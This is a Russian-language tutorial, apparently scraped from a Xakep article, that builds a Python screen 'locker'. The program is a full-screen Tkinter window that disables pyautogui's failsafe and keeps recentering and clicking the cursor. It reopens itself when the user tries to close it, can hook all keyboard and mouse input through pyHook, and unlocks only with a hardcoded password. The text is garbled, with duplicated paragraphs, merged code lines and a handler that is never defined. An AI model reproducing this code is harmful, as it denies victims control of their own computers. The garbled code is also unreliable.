Идея — создаем окно на полный экран и не даем пользователю закрыть его.
Импорт библиотек:
Теперь возьмемся за основную часть программы
Здесь pyautogui.FAILSAFE = False — защита, которая активируется при перемещении курсора в верхний левый угол экрана. При ее срабатывании программа закрывается. Нам это не надо, поэтому вырубаем эту функцию.
Чтобы наш локер работал на любом мониторе с любым разрешением, считываем ширину и высоту экрана и по простой формуле вычисляем, куда будет попадать курсор, делаться клик и так далее. В нашем случае курсор попадает в центр экрана, то есть ширину и высоту мы делим на два. Паузу (sleep) добавим для того, чтобы пользователь мог ввести код для отмены.
Сейчас мы не блокировали ввод текста, но можно это сделать, и тогда пользователь никак от нас не избавится. Для этого напишем еще немного кода. Не советую делать это сразу. Сначала давай настроим программу, чтобы она выключалась при вводе пароля. Но код для блокирования клавиатуры и мыши выглядит вот так:
Создадим функцию для ввода ключа:
Тут всё просто. Если ключ не тот, который мы задали, программа продолжает работать. Если пароли совпали — тормозим.
Последняя функция, которая нужна для работы окна-вредителя:
На этом наш импровизированный локер готов.
Импорт библиотек:
Python:
import pyautogui from tkinter import Tk, Entry, Label from pyautogu соi import click, moveTo from time import sleep
Python:
# Создаем окно root = Tk()
# Вырубаем защиту левого верхнего угла экрана pyautogui.FAILSAFE = False
# Получаем ширину и высоту окна width = root.winfo_screenwidth() height = root.winfo_screenheight()
# Задаем заголовок окна root.title('From "Xakep" with love')
# Открываем окно на весь экран root.attributes("-fullscreen", True)
# Создаем поле для ввода, задаем его размеры и расположение entry = Entry(root, font=1) entry.place(width=150, height=50, x=width/2-75, y=height/2-25)
# Создаем текстовые подписи и задаем их расположение label0 = Label(root, text="╚(•⌂•)╝ Locker by Xakep (╯°□°)╯︵ ┻━┻", font=1) label0.grid(row=0, column=0) label1 = Label(root, text="Пиши пароль и жми Ctrl + C", font='Arial 20') label1.place(x=width/2-75-130, y=height/2-25-100)
# Включаем постоянное обновление окна и делаем паузу root.update() sleep(0.2)
# Кликаем в центр окна click(width/2, height/2)
# обнуляем ключ k = False
# Теперь непрерывно проверяем, не введен ли верный ключ
# Если введен, вызываем функцию хулиганства while not k: on_closing()
Чтобы наш локер работал на любом мониторе с любым разрешением, считываем ширину и высоту экрана и по простой формуле вычисляем, куда будет попадать курсор, делаться клик и так далее. В нашем случае курсор попадает в центр экрана, то есть ширину и высоту мы делим на два. Паузу (sleep) добавим для того, чтобы пользователь мог ввести код для отмены.
Сейчас мы не блокировали ввод текста, но можно это сделать, и тогда пользователь никак от нас не избавится. Для этого напишем еще немного кода. Не советую делать это сразу. Сначала давай настроим программу, чтобы она выключалась при вводе пароля. Но код для блокирования клавиатуры и мыши выглядит вот так:
Python:
import pythoncom, pyHook
hm = pyHook.HookManager()
hm.MouseAll = uMad
hm.KeyAll = uMad
hm.HookMouse()
hm.HookKeyboard()
pythoncom.PumpMessages()
Python:
def callback(event):
global k, entry
if entry.get() == "xakep":
k = True
Последняя функция, которая нужна для работы окна-вредителя:
Python:
def on_closing():
# Кликаем в центр экрана
click(width/2, height/2)
# Перемещаем курсор мыши в центр экрана
moveTo(width/2, height/2)
# Включаем полноэкранный режим
root.attributes("-fullscreen", True)
# При попытке закрыть окно с помощью диспетчера задач вызываем on_closing
root.protocol("WM_DELETE_WINDOW", on_closing)
# Включаем постоянное обновление окна root.update()
# Добавляем сочетание клавиш, которые будут закрывать программу
root.bind('<Control-KeyPress-c>', callback)